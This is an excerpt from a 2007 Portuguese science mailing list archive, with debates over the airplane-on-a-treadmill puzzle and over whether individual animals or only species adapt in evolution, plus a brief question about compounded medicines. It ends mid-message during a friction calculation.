Sent: Friday, March 02, 2007 9:24 AM
Subject: [ciencialist] Remédios manipulados

Eu preciso comprar um remédio, e como o preço não é nada "doce", pensei em
compra-lo manipulado. Mas uma pessoa me disse que os remédios manipulados
"não são bons". Isso tem algum fundamento? Ou seria apenas efeito
"nocebo"?

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Está errado, Renato - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/03/2007 23:38

Olá Jose Renato

Renato: "Para puxar um avião, mesmo pequeno, tem de ter alguma força
significativa."

As rodas NÃO PUXAM o avião, que se move INDEPENDENTEMENTE das rodas, a
partir de sua propulsão, hélices ou jatos. Se conseguisse entender
isso, entenderia seu erro. Eu leio o que escreve e está errado. Está
pensando em rodas COM TRAÇÃO, de automóveis, e não entende que NÃO SÃO
as rodas que movem o avião.

Renato: "JR - Se vc acredita nisso, só vamos conseguir algum resultado
conjunto se vc ler com atenção e raciocinando sobre o que escrevo e
fazendo os contrapontos com objetividade."

Não é uma crença, é um fato.

Renato: "JR - Vc entrou na minha conversa com Ricardo onde as
premissas estavam na questão inicial onde não está indicado que o
atrito dos rolamentos é zero."

Não importa. Se entender que em atrito zero o avião não se move, não
importa o que a esteira faça, se entender que com atrito zero, o avião
decola sem problemas e sem NENHUMA interferência das rodas, entenderá
que com atrito, mínimo e desprezível, ele também decola, e, mais
importante de tudo, entenderá, finalmente, que o atrito dos rolamentos
é a ÚNICA forma de ação da esteira no avião.

Entenderá, finalmente, que o que a esteira pode fazer se limita a
dobrar o atrito dos rolamentos ao duplicar a velocidade das rodas, e
que isso NÃO consegue impedir a decolagem do avião.

Renato: " JR - É que vc mistura os comentários feitos com Takata com
os que fiz ao Ricardo aí dá esse angú que não tem pé nem cabeça."

Nada disso, o enunciado é claro nesse aspecto, o avião e a esteira
estão PARADOS, e a esteira SÓ se move QUANDO o avião se move. Observe
que o avião NÃO se move usando as rodas, com tração, o que poderia ser
COMPENSADO com o rolamento da esteira para o sentido contrário, mas
sim pela PROPULSÃO que NADA tem a ver com as rodas.

Renato: " JR - Veja os comentários que enviei a Ricardo falando da
conexão simultânea entre as velocidades sempre iguais da esteira e
avião, em sentidos contrários."

Eu li, e repito, isso NÃO ACONTECE! NÃO EXISTE TRAÇÂO, e não pode
compensar o movimento do avião, embora possa aumentar o giro das
rodas. As velocidades iguais são DAS RODAS ao girar e da esteira, NÃO
DO AVIÂO, que se move pela PROPULSÃO e não pela tração nas rodas.

ESQUEÇA as rodas, Renato, elas estão no enunciado para ENGANAR seu bom
senso (que não é muito..:-). Coloque eskis, e o avião decola. Coloque
o avião na água, e ele decola (aviões decolam em rios CONTRA A
CORRENTE, como acha que isso acontece, Renato?)

Um CARRO gira as rodas para se mover, e, se o chão abaixo dele girar
também, ou "escorregar" como na lama, ele não se move. Mas, um
hovercraft, ou um avião SE MOVEM, mesmo na lama, mesmo que as rodas
"escorreguem", mesmo que uma esteira abaixo dele se mova, porque NÃO
USAM TRAÇÃO nas rodas para se mover.

Qual a diferença entre um carro que derrapa na lama e a esteira ccom
um carro em cima que se move para compensar o giro das rodas? Nenhuma,
o carro, como nos aparelhos de testes de montadoras, ficam no lugar,
com os motores ligados e as rodas girando, mas com as esteiras ou
rolamentos compensando.

Mas, isso NÃO é possível com aviões, que tem de ser AMARRADOS para
não sair voando das esteiras, porque NÃO USAM TRAÇÃO para se mover.

Pense, Renato, pense, se um avião estiver em um campo cheio de LAMA,
acha que por que as rodas "escorregam", o avião não poderá decolar?
Ou decolará, com ou sem as rodas?

Pense, a lama faz o MESMO efeito da esteira, rola "para trás" quando
as rodas do carro rodam "para frente". Mas uma vião NÃO usa as rodas,
e estas só giram em falso! Portanto, o carro NÃO se move na lama, mas
o avião DECOLA na lama, o carro NÃO se move na esteira, mas o avião
DECOLA na esteira.

Homero




SUBJECT: Está errado, Renato - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/03/2007 23:44

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Entenderá, finalmente, que o que a esteira pode fazer se limita a
> dobrar o atrito dos rolamentos ao duplicar a velocidade das rodas, e
> que isso NÃO consegue impedir a decolagem do avião.

Só q o atrito não irá simplesmente dobrar com o dobro da velocidade. A
escala é mais do q quadrática. O dobro de velocidade mais do q
*quadruplica* a força.

O atrito de rolagem é uma força q se considera bem na análise da
decolagem de uma aeronave.

[]s,

Roberto Takata



SUBJECT: Re: P/ Jose Renato - Tartarugas, mamutes, e o engano de Jose Renato
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 06/03/2007 23:56

Olá Jose Renato

Renato: "Repare que um urso se adapta ao ambiente *antes* que a sua
espécie-descendência se adapte, se assim não fosse ele morreria antes
de procriar e criar seus filhotes."

Ele NÃO faz isso. NENHUM individuo se adapta, nasce como vai morrer,
com os genes JÁ definidos na fecundação. A espécie se adapta ao MATAR,
ou dificultar a descendência, dos que, pela diferença aleatória dos
genes, estão menos capazes de sobreviver.

Não sei mais o que fazer. Está errado, mas não consegue ver. Já sugeri
que lesse livros sobre o assunto, já tentei explicar com diversos e
diferentes exemplos, outros já tentaram, mas parece se recusar a ter a
crença modificada (ainda mais por fatos e evidências, coisas sem
importância..:-).

Isso NÃO acontece, Renato, indivíduos NÃO se adaptam, apenas as
espécies. O urso NÃO morre porque as mudanças no ambiente são mínimas,
Ele MORRE se as mudanças forem drásticas, exatamente porque INDIVÍDUOS
não conseguem, nem podem, se adaptar a isso.

Tente entender o exemplo do urso negro asiático, eles JÁ nascem com
minimas variações de cor em seu pelo, todas em torno do negro, mas
mesmo assim com variações. Na Ásia, onde vivem, isso não importa, ou
melhor, as variações, aleatórias e cegas, devidas as combinações de
genes, são prejudiciais se muito claras, e estes ursos mais claros tem
menos filhotes.

Levados para o Alasca, qualquer pelagem mais clara QUE JÁ NASCIA DE
VEZ EM QUANDO NA ÁSIA, é agora uma vantagem. NENHUM urso JAMAIS
decidiu ficar mais claro, nem nos polares, nem nos negros.

Com o tempo, todos os descendentes terão pelos claros, mas JAMAIS um
urso se adaptou para ter pelos claros. Isso é conseqüência da evolução
e da pressão seletiva do ambiente, forças cegas e aleatórias.

Tenho certeza de que pode entender isso, mas teima para não abandonar
a fé que possui. Uma pena.

Renato: "E aí não haveria descendência ou seleção natural da espécie.
O que parece que vc não entendeu é a impossibilidade de vc ou qualquer
pessoa afirmar que o ser vivo não tem qualquer "intenção" natural de
sobreviver. Esse tipo de afirmação é adequado apenas aos adivinhos."

Posso afirmar que não há NECESSIDADE de intenção alguma, pois a
evolução ocorreria, ocorre, sem nenhuma intenção ou evidencia de
intenção. Ela ocorre a partir das mesmas forças que separam a areia da
praia.

Bactérias NÃO tem intenção de sobreviver, apenas as que se comportam
de uma forma, morrem, e as que se comportam de outra, sobrevivem. Com
o tempo, só ficam as que sobreviveram e seus comportamentos (é até
meio idiota ter de escrever tal obviedade, mas fazer o que).

Tente com um computador, com um software de simulação de vida, e verá
que, sem intenção, a partir de regras puramente aleatórias e cegas, os
"seres" evoluem e se adaptam, simplesmente porque os que não fazem,
morrem, e só ficam os que fazem. E NENHUM deles sabe que faz ou deixa
de fazer, e NENHUM deles tem a menor intenção de sobreviver ou
qualquer outra intenção.

A partir deste ponto, só posso recomendar que leia livros que
expliquem melhor que eu o problema, se desejar se livrar dessa crença
cega. Ou não leia, não há muito que eu possa fazer de toda forma.

Comece pelo Rio que Saia do Eden, de Dawkins, passe pelo Polegar do
Panda, de Gould, e finalize com A Perigosa Ideia de Darwin, de Dennet.
Existem centenas de outros bons livros, mas penso que estes deveriam
bastar contra a superstição que o aflige. Se nada disso funcionar, é
uma pena, não tem salvação..:-)

Homero



--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Olá, Homero, se estendeu tanto para dizer quase nada! A única cega que
> aparece no texto é a sua força aleatória e não intencional. Procure ser
> objetivo em seus comentários, caso contrário fica uma discussão sem
rumo,
> que lhe dá oportunidade apenas para descarregar sua animosidade.
Repare que
> um urso se adapta ao ambiente *antes* que a sua espécie-descendência se
> adapte, se assim não fosse ele morreria antes de procriar e criar seus
> filhotes. E aí não haveria descendência ou seleção natural da
espécie. O que
> parece que vc não entendeu é a impossibilidade de vc ou qualquer pessoa
> afirmar que o ser vivo não tem qualquer "intenção" natural de
sobreviver.
> Esse tipo de afirmação é adequado apenas aos adivinhos.
> []s
> José Renato
> ..........................
>
> From: "Oraculo" <oraculo@To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, March 05, 2007 4:22 PM
> Subject: [ciencialist] P/ Jose Renato - Tartarugas, mamutes, e o
engano de
> Jose Renato
>
>
> Olá Jose Renato
>
> É impossível discutir com a fé, em especial uma forte e cega fé. A
simples
> insistência nos dogmas que defende não vão mudar as coisas: não há
intenção,
> nem mesmo uma hipotética "intenção de sobreviver", nos seres vivos e na
> evolução. Sei que não vai entender ou admitir isso, mas não há mesmo
assim.
>
> A areia da praia se divide em grãos finos, depois grãos mais
grossos, até as
> pedras maiores na orla perto da terra. Não, a areia, ou o mar, ou a
> natureza, não tem INTENÇÃO de separar as coisas dessa forma bonita e
útil
> para os banhistas, apenas acontece de, devido as forças. cegas e não
> intencionais da fisica deste universo, as coisas acabem separadas assim.
>
> Os seres vivos não tem mais intenção de sobreviver do que a areia
tem de se
> separar daquela forma. Seres vivos nascem com diferentes conjuntos de
> comportamentos, mas os conjuntos que se mostram mais aptos, são mais
> passados para a próxima geração. Nenhuma intenção, é uma força cega
e não
> intencional, como uma peneira separa pedras de areia, que determina que
> seres vivos ficam e os que não ficam vivos.
>
> A primeira molécula replicante que surgiu na Terra primitiva não tinha
> NENHUMA intenção de sobreviver. Ela se replicava porque as forças
químicas
> assim determinavam. Mas, em um ambiente sem competição ou propósito,
> replicar significa estar presenta em maior número que as não
replicantes.
> Milhões de anos depois, uma enorme quantidade de moléculas que se
replicam,
> sem A MENOR INTENÇÃO DE FAZE-LO, estão presentes, e qualquer
modificação,
> aleatória, que aumente a chance de replicar, será útil.
>
> Uma alteração que NÃO aumente a chance de replicar também acontece, e
> alterações que DIMINUAM a chance de replicar idem. Mas, e isso deve ser
> evidente até para você, as alterações que AUMENTAM a chance de replicar
> estarão MAIS presentes no ambiente que as que não interferem ou
diminuem
> essa chance.
>
> Tudo de forma totalmente ALEATÓRIA, mas que, com milhões de anos
para agir,
> vai fazer o mesmo que a areia das praias, gerar um padrão que PARECE
> intencional.
>
> Qualquer modificação em moléculas replicantes, que aumentem sua
duração,
> será rapidamente mantida. Não porque as moléculas replicantes, TEM A
> INTENÇÃO de sobreviver ou de se manter, mas pelo mesmo motivo que
cristais
> se formam: forças cegas e leis da fisica deste universo.
>
> Se entender que as moléculas dessa Terra primitiva não tem mais
"intenção"
> de qualquer coisa, que a água tem a intenção de preencher
perfeitamente um
> buraco no chão, começaa a entender o que significa ser cega e
aleatória a
> evolução de seres vivos e espécies.
>
> Renato: "As "intenções" do ser vivo é viver, tentar sobreviver de todas
> as formas possíveis. Isso é natural, sim, não requer racionalização ou
> planejamento, sim, mas tem o propósito inerente de se desenvolver e
> reproduzir, sacado há tempos, muito antes da sua "força cega" ser
admitida
> nessa história."
>
> Ai, ai, ai... Não, não é. Não no sentido evolutivo ou biológico, mas
apenas
> como fruto de forças cegas, da pressão seletiva. A pressão seletiva
MATOU
> todo individuo que não apresentou mecanismos no início e
comportamentos mais
> adiante, que maximizassem a sobrevivência, mas sem necessitar de
intenção
> alguma. Árvores não tem intenção alguma, bactérias não tem intenção
alguma,
> etc, elas apenas respondem a forças cegas e aleatórias.
>
> Renat: "JR - Que viagem! Estamos nos adaptando ao ambiente - atente -
> permanentemente! Se dispomos de memória intelectual e biológica, melhor
> ainda."
>
> Mais uma vez, está usando um termo com dois sentidos, falácia dos
quatro
> termos.:-( Isso cansa, Renato. Um ser vivo se "adapta", ou melhor, a
espécie
> "se adapta", quando modificações genéticas se tornam permanentes e
> disseminadas na espécie. A "adaptação" de construir uma lareira em
climas
> frios, não tem NADA A VER com a adaptação da evolução...:-( Isso
está se
> tornando ridiculo, tal o amadorismo com que lida com essas questões,
Renato.
>
> NENHUM biologo vai validar sua alegação, sobre a adpatação dos
esquimos ao
> frio ser o mesmo que a adaptação dos ursos polares ou mamutes lanudos.
>
> Renato: "JR - A questão volta a ser vocabular. Se um urso, ao chegar o
> inverno, se
> entoca numa caverna, dorme e consegue acordar quando o tempo aquece,
> vc não considera isso uma adaptação ao seu modo de vida?"
>
> Não do urso, mas da espécie, Renato!!! É a espécie que se adaptou,
devido a
> mudanças gradativas em milhares de anos, não aquele urso!!! Ou resolve
> aprender sobre a evolução, e livros de ciência, (e não em textos
religiosos
> criacionsitas, com todas as distorções e erros que eles contém) ou
vamos
> ficar eternamente debatendo inutilmente!
>
> Pegue um urso negro asiático, e leve para o Polo Norte. Não um, mas um
> grupo, uma centena, não importa. Solte-os lá e veja se "se adaptam".
Morrem
> todos, sem exceção! NENHUM deles vai se adaptar, porque NENHUM deles
pode
> fazer isso!
>
> Apenas um período de tempo geológico, apenas uma mudança ambiental
gradual,
> apenas a soma de milhares de modificações mínimas cumulativas,
permitiriam
> que a ESPÉCIE urso negro asiático se adaptasse, talvez, ao polo norte.
>
> Nascem ursos negros de diferentes tonalidades de negro. No ambiente
atual,
> isso é irrelevante, e se uma tonalidade for demasiado clara, este
urso terá
> mais dificuldades que os outros, e menos descendentes. Assim, a
espécie se
> mantém negra com a natureza, as forças cegas da natureza deste
universo,
> MATANDO OS QUE SE DIFERENCIAM DEMAIS, ou pelo menos fazendo com que
tenham
> menos descendentes. E, pelo amor de Darwin, NENHUM urso pensa nisso,
nem a
> natureza tem a INTENÇÃO de manter os ursos negros ou dificultar a
vida dos
> mais claros, apenas ACONTECE de ser assim no ambiente em que vivem no
> momento.
>
> Mas, leve um grupo de ursos para uma região próxima do Polo Norte.
Permita
> que vivam lá, com dificuldades, (pois é um ambiente diferente de seu
atual),
> por alguns milhares de anos, e os que nascem mais claros (e que já
nasciam
> no outro ambiente) não terão tanta dificuldade como antes, pelo
contrário.
> Milhares de anos depois, a tonalidade será mais clara na espécie,
que no
> antigo ambiente.
>
> Agora, eles podem se mover um pouco ao norte, mais perto do Polo,
como os
> antepassados dos ursos polares fizeram. Ficaram mais claros, sem
NENHUMA
> INTENÇÃO DE FICAR MAIS CLAROS, apenas porque a natureza continua a
matar ou
> dificultar conforme o ambiente.
>
> Nesse periodo, aguentar longos períodos de fome se tornou
importante, mais
> que no ambiente original, e qualquer variação para acumular gordura,
que no
> ambiente asiático era dispensável, agora é uma vantagem. A cada inverno
> rigoroso, os que NÃO acumularam gordura suficiente, morreram. Acha
que a
> natureza, ou os ursos, tem a INTENÇÃO de morrer de fome, para ajudar a
> espalhar os genes que permitem a maior absorção de gordura?!?!
>
> Alguns, muitos, milhares ou centenas de milhares de anos, os futuros
> descendentes dos ursos negros asiáticos podem colonizar o polo, com
pelagem
> branca, grande volume de gordura, e até a hibernação em tocas de neve.
>
> Mas, NENHUM URSO NEGRO JAMAIS se adaptou, como individuo, ao que
quer que
> seja, e muito menos essa colonização ou sobrevivência foi intencional.
>
> Renato: "JR - Vc ainda não entendeu que uma semente ou um embrião
não vai se
> desenvolver aleatoriamente. Ele vai se desenvolver de acordo com sua
espécie
> genética já estabelecida no genes. Se fosse aleatoriamente, teríamos
tantas
> espécies quanto são os seres vivos: cada uma diferente da outra."
>
> Tanto quanto um cristal que obedece a leis fisicas não intencionais, a
> semente vai responder a reações químicas e bioquimicas, presentes no
DNA que
> ela carrega. Esse conjunto de instruções foi formado de forma
ALEATÓRIA E
> NÃO INTENCIONAL, filtrado pelas pressões do ambiente, por MILHÕES de
anos.
>
> É seu TOTAL desconhecimento da biologia e da evolução que permite
que faça
> uma alegação TÃO absurda e sem sentido (sem sentido frente a
biologia e a
> evolução) como essa, que se não fosse "aleatório" teriamos tantas
espécies
> quanto são os seres vivos.
>
> E estou MUITO cansado de tentar explicar seu erro, pois toda explicação
> "bate" em uma parede de fé cega e certeza absoluta. Não posso
convence-lo de
> nada que viole sua fé: uma divindade sobrenatural, intencional, fez o
> universo e determina seus passos e direção.
>
> Toda e qualquer evidência que contrarie essa crença, é descartada "a
> priori".
>
> Está errado, Renato, mas só compreenderá seu erro se abandonar a fé
cega que
> carrega. Enquanto isso não ocorrer, verá "maravilhas e deuses" em toda
> parte, quer eles existam, quer não.
>
> Um abraço.
>
> Homero
>
> ----- Original Message -----
> From: José Renato
> To: ciencialist@yahoogrupos.com.br
> Sent: Friday, March 02, 2007 10:41 PM
> Subject: Re: [ciencialist] P/ Jose Renato - Tartarugas, mamutes, e o
> engano de Jose Renato
>
>
> Caro Homero, é assim que vc esgota a sua paciência e leva Takata a
pedir
> um
> pouco dela em suas respostas a ele. É que vc se espraia em repetidas
> ilações, prolixas e desnecessárias, que se enquadram na detalhada
> descrição
> do alerta de ressalva feita por Manuel Bulcão na resposta ao Takata,
> colada
> ao final. Pode ser que fazendo isso vc leve alguém a acreditar que
eu é
> que
> sou repetitivo e não vc um verborrágico aparentemente convicto de
que essa
> é a melhor forma de trocar idéias sobre ciência. Creio que não é.
>
> Faço outros comentários no corpo do e-mail, após JR -, OK?
> .............................................
>
> ----- Original Message -----
> From: "Oraculo" <oraculo@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, February 26, 2007 2:39 PM
> Subject: [ciencialist] P/ Jose Renato - Tartarugas, mamutes, e o
engano de
> Jose Renato
>
> Olá Jose Renato
>
> Renato, continua não entendendo bem a questão, e vendo "coisas"
onde elas
> não existem. Em especial, os "proques" da natureza não são
"porques" da
> forma que você pensa, não tem a intenção a priori que parece
encontrar em
> tudo.
>
> Renato: "Vc já se perguntou por que uma larva de
> cigarra permanece anos no solo antes de eclodir, se alimentando de
> raízes?"
>
> Porque as que eclodiram antes foram devoradas por predadores, ou
tinham
> mais
> probabilidade de serem devoradas por predadores. NENHUMA delas
tinha ou
> tem
> a MENOR noção desse porque, e se as condições mudarem (por exemplo, um
> predador que devore cigarras em cada 7 anos), as que NÃO nasceram
após
> esse
> período terão uma vantagem.
> Mas, nem as que nascem nesse período nem as que erram o período (e
toda
> geração tem variações) tem a MENOR idéia disso tudo, e não fazem
isso com
> inteligência ou intenção. São resultados de forças cegas,
naturais, não
> intencionais, etc.
> JR - Sua "ceguinha" já deve estar cobrando hora extra por tanta
demanda.
> Só dá ela... As "intenções" do ser vivo é viver, tentar sobreviver de
> todas
> as
> formas possíveis. Isso é natural, sim, não requer racionalização ou
> planejamento, sim, mas tem o propósito inerente de se desenvolver e
> reproduzir, sacado há tempos, muito antes da sua "força cega" ser
admitida
> nessa história.
>
> Esquimós se adaptaram ao frio com o uso da inteligência humana,
> inteligência
> que foi desenvolvida em outro ambiente, devido a outras
necessidades, mas
> que pode ser utilizada de diversas formas. Focas e ursos polares
> desenvolveram gordura sem a MENOR idéia do que estava acontecendo, e
> nenhum
> INDIVIDUO dessas espécies JAMAIS se adaptou, mas apenas a espécie,
com a
> morte dos que tinham menos capacidade em sobreviver e a manutenção
dos que
> tinham.
> JR - Que viagem! Estamos nos adaptando ao ambiente - atente -
> permanentemente!
> Se dispomos de memória intelectual e biológica, melhor ainda.
>
> E, por favor, os que tinham menos capacidade e os que tinham mais não
> sabiam NADA sobre isso, e nasceram com essas características de forma
> aleatória, não intencional, não inteligente, da mesma forma como você
> nasceu
> mais baixo ou mais alto que seu irmão, Renato.
> JR - Forma não intencional, não dirigida ou aleatória gera seres de
> diversas
> conformações. Entretanto, sabemos que de um ovo de galinha nascerá um
> pintinho e não um animal "aleatório".
>
> Ursos, em um ambiente que ficava mais frio a cada estação, nasciam
como
> nasceram sempre, alguns com mais gordura, outros com menos.
> Aleatoriamente.
> Os que nasceram com mais gordura, por mero acidente genético, tinham
> ligeira
> vantagem durante os invernos mais rigorosos, e deixavam mais
descendentes.
> Em milhões de anos, apenas ursos com mais gordura restaram.
> NENHUM dos ursos que viveu durante os milhões de anos necessários
a essa
> especiação JAMAIS se adaptou como individuo.
> JR - A questão volta a ser vocabular. Se um urso, ao chegar o
inverno, se
> entoca numa caverna, dorme e consegue acordar quando o tempo aquece,
> vc não considera isso uma adaptação ao seu modo de vida?
>
> Renato: "Bons comentários, Homero! Faço apenas ressalva aos seguintes
> trechos:"
>
> Grato pelo elogio, mas ainda insisto, você precisa se esforçar para
> compreender realmente a questão da evolução. Veja os enganos,
mesmo quando
> parece concordar comigo:
>
> Renato: "JR - Isso pode ocorrer durante algum tempo, mas o
sabidório pode
> ser excluído da partilha e ficar dependendo apenas de si mesmo.
Veja que
> foi
> a possibilidade de eu fazer apenas uma parte do que preciso para
viver -
> enquanto outras pessoas fazem as demais - que promoveu a civilização."
>
> Excluir o sabido É um comportamento herdado, que surge,
aleatoriamente, a
> partir de mudanças, aleatórias, nos genes. [ ... ]
> JR - Colocar comportamento social nos genes é outra de suas
viagens. O ser
> vivo pode adotar diversos comportamentos de grupo com os mesmos genes,
> dentro de uma mesma existência.
>
> [ ... ] Nos grupos de animais gregários onde ele surge, é gerada uma
> vantagem para este grupo, que NÃO existe nos grupos sem o
> comportamento. Mais alguns milhares de anos, apenas grupos que
> apresentam um conjunto de genes que reforce esse comportamento
> (excluir da partilha) restaram, devido a competição entre grupos.
> JR - Não é preciso muito tempo, Homero. Se duas tribos menores não
> se unem para se defender de uma mais forte, serão dizimadas,
> escravizadas e até extintas.
>
> Tente entender, nada disso é "inteligência" no sentido habitual do
termo,
> que só pode ser usado como metáfora nesses casos. É a
"inteligência" de um
> cristal de rocha, que "soube" criar um padrão tridimensional
perfeito, ou
> a
> "inteligência" da água ao preencher "exatamente" a poça no chão, ou a
> "inteligência" do pássaro tecelão, que soube criar um ninho altamente
> complexo (mas que deixa os ovos caírem por um buraco no fundo, sem
> entender nada).
> JR - E qual é esse sentido habitual de "inteligência"? Seria fazer
algo
> com
> algum, digamos, "objetivo" - tal como, permanecer vivendo? E quantas
> vezes nós humanos colocamos "nossos ovos" em buracos sem fundo,
> só por hábito, e nem percebemos que eles estão se perdendo?
>
> O que promoveu a civilização foi um conjunto de coisas, baseadas na
> capacidade cerebral de homo sapiens, que surge como resposta
adaptativa a
> um
> ambiente específico, a extinção dos dinos, etc. Sem NENHUMA
intenção de
> surgir ou de criar uma civilização.
> JR - Fomos fazendo de tudo para sobreviver, até que alguém disse
que isso
> é
> civilização...
>
> Renato: "JR - Vc acha que o ser humano é "bom" por natureza, há os
que
> acham
> que é um maléfico predador por natureza, e há os que consideram
que ele é
> o
> "fazem"dele em sua formação. Muito provavelmente ainda ficaremos sem
> certeza
> de qual dessa teses é a que melhor descreve a realidade. Quanto a
sua fiel
> crença no Acaso sem qualquer comprovação científica é mais uma das
suas
> aventuras na arte dos adivinhos."
>
> Não, Renato, não acho que o ser humano é "bom". Esse é um conceito
humano,
> subjetivo, e não se aplica a comportamentos evolutivos. Estes apenas
> "são",
> nem bons, nem ruins. Matar os filhotes, como os leões, não é "bom" nem
> "ruim", é eficaz, nesse sentido. Ajudar os outros, em um grupo
gregário,
> não
> é "bom" ou "ruim", é apenas eficaz, entre a disputa por espaço e
alimentos
> de grupos diversos. Só isso, nada mais. O que estou tentando
explicar a
> você
> é que parte dos comportamentos que consideramos "bons", já
existem, como
> vantagens adaptativas, em nossos primos e em nossos ancestrais
primatas (e
> em animais gregários em geral). Não são fruto de uma divindade
benéfica ou
> criação puramente humana.
>
> Minha conclusão, e não crença, não deriva da falta de evidências
do acaso,
> que é evidente (acaso é uma ausência, não algo concreto), mas na
falta de
> evidências de que não seja assim. Tente entender, o acaso, a não
> intencionalidade, é uma ausência, e, como tal, não precisa de
evidências.
> Não se exige evidências de que algo ocorreu ao acaso, mas o
contrário, de
> que NÃO ocorreu. Pense que quando ouve um barulho de janela abrir, sua
> presunção é que foi ao "acaso", pelo vento, pelo calor, por
quebra, etc,
> sem
> intenção de abrir e fazer barulho. É a partir de evidências que
pode mudar
> de conclusão e decidir que houve uma "intenção" na abertura da janela.
> JR - Quando os antigos não sabiam explicar algo utilizavam de
crendices,
> fábulas - ou algo ainda desconhecido que chamavam de divindades - para
> tentar explicá-las. A sua tem o nome da Acaso, explica tudo.
>
> Repito, não é preciso "comprovação cientifica" do acaso, da
aleatoriedade,
> que, aliás, é um termo que define acaso, é o próprio acaso.
>
> O que está dizendo, Renato, é que preciso "provar cientificamente"
que um
> dado dá resultados ao "acaso", aleatoriamente, sem intenção de dar o
> resultado, quando na verdade isso é uma presunção, a própria
definição de
> acaso, de aleatório..:-) É você que acredita que NÃO é acaso, sem
nenhuma
> evidência que sustente essa crença, que precisa "provar
cientificamente"
> que
> os dados dão resultados "intencionalmente".
> JR - Vc ainda não entendeu que uma semente ou um embrião não vai se
> desenvolver aleatoriamente. Ele vai se desenvolver de acordo com sua
> espécie
> genética já estabelecida no genes. Se fosse aleatoriamente, teríamos
> tantas
> espécies quanto são os seres vivos: cada uma diferente da outra.
>
> Um abraço.
> Homero
>
> Abraços
> José Renato
> .........................................separador da ressalva de
Manuel
> Bulcão Neto
>
> From: "Manuel Bulcão" <manuelbulcao@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Sunday, February 25, 2007 7:49 PM
> Subject: [ciencialist] Re: A universalização dos valores morais
>
> (Como essa minha resposta é longa, vou dividi-la em capítulos. Mas
> não pensem que estou me valendo da velha falácia "apelo à
> tagarelice", muito comum entre relativistas pós-modernos e que
> consiste em escrever de forma copiosa e exuberante, recheando o texto
> com citações, referências bibliográficas, brocardos latinos,
> gigantescas expressões alemãs, palavras do português arcaico,
> adjetivos aos borbotões, neologismos, onomatopoeses, pleonasmos,
> epigramas, circunlocuções, proposições indecidíveis, apotegmas
> oraculares, aforismas "esfinge" (do tipo "decifra-me ou não te deixo
> dormir à noite"), perguntas retóricas, respostas tangenciais,
> arabescos anedóticos, longas sentenças camonianas (para serem lidas
> de trás pra frente ou refletidas no espelho), digressões e quejandos
> e muitas, muitas, muitas vírgulas, ponto-e-vírgulas, travessões,
> parênteses, colchetes, chaves, aspas simples, aspas duplas etc. -
> tudo isso com o implícito intuito não só de compensar a falta do que
> dizer com música verbal, de preferência com ares dodecafônicos
> (transfigurando, assim, a cacofonia sem sentido em nonsense
> sinfônico), como também de cansar o outro debatedor, desencorajá-lo
> da leitura e, principalmente, desestimulá-lo a responder. Não, não e
> não. Meu texto é grande, porém claro e informativo. É só conferir.
> Mãos, ou melhor, olhos à obra!)
>
> (apaguei o restante da mensagem)
>




SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/03/2007 00:11

Olá Takata

Takata: "Só q o atrito não irá simplesmente dobrar com o dobro da
velocidade. A escala é mais do q quadrática. O dobro de velocidade
mais do q *quadruplica* a força."

Para as velocidades envolvidas, é irrelevante. O avião decola..:-)
Quatro vezes o atrito padrão dos rolamentos não vai impedir a
decolagem, pois o empuxo dos propulsores tem reserva de sobra. Se os
rolamentos apresentarem defeitos, e o atrito aumentar, o avião decola.

Um avião decolaria em uma pista de lama, onde um carro não se moveria.
O carro não se move, porque sua tração depende das rodas, o avião
decola porque não depende de tração, mas do empuxo de seus propulsores.

O que o Renato está pensando, quando fala de "sistema de polias e
correias" entre a esteira e o avião, é justamente nas rodas com tração
dos carros. Entre o avião e a esteira NÃO existe essa ligação.

Ao ligar a esteira, ela NÃO compensa o "movimento" do avião, ao fazer
as rodas girarem. Esse é o engano básico dele, que difere bastante do
argumento que você está usando.

Ele imagina algo como os dispositivos que testam carros em montadoras,
que ficam girando embaixo das rodas, o que impede que este se mova.
Mas, coloque um avião sobre esse dispositivo, e ele sai andando, não
importa se os rolamentos abaixo dele se movem a qualquer velocidade.

Vamos ver, se colocarmos um Cesna sobre este dispositivo na montadora,
acha que, sem NENHUMA forma de cabo ou presilha que fixe o avião, o
dispositivo da montadora pode impedir que este avance e saia de cima
do dispositivo?

Se o dispositivo não puder impedir isso, e sabemos que NÃO pode, como
a esteira impediria a decolagem do Cesna?

O que podemos fazer, para chegar a um acordo é determinar as condições
e situações básicas:

Concordamos que com atrito ZERO todo avião, em qualquer situação,
decola sem problemas.

Concordamos que, para aviões comuns, simples, com empuxo mais que
suficiente para compensar aumento de atrito nos rolamentos, o avião
decola sem problemas, ou apenas com mais força nos motores
(independente de ser por hélices ou jatos).

Concordamos que, se esticarmos bem o enunciado, com parâmetros que não
são mencionados, e ajustarmos as velocidades, atritos, peso do avião,
jatos pesados, esteiras com velocidades absurdas e extremas, etc, é
possível conseguir cenários em que a decolagem seja dificultada ou
impedida.

E poderia também ajudar a esclarecer o engano do Renato sobre aviões
com hélices na cauda, e explicar a ele que tanto jatos, quanto aviões
com hélices, o vôo é possível pelos mesmos motivos, a passagem do ar
atmosférico pelas asas (e não importa a posição das hélices no avião).

Parece que ele tem restrições a considerar qualquer informação que
parta de mim..:-)

Um abraço.

Homero





SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/03/2007 00:54

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Para as velocidades envolvidas, é irrelevante.

Nope. Eu fiz as contas para um A380.

"Aplicando-se diretamente a equação a um Airbus A380 com massa de 560
toneladas a 300 km/h, teremos uma resistência à rolagem de:

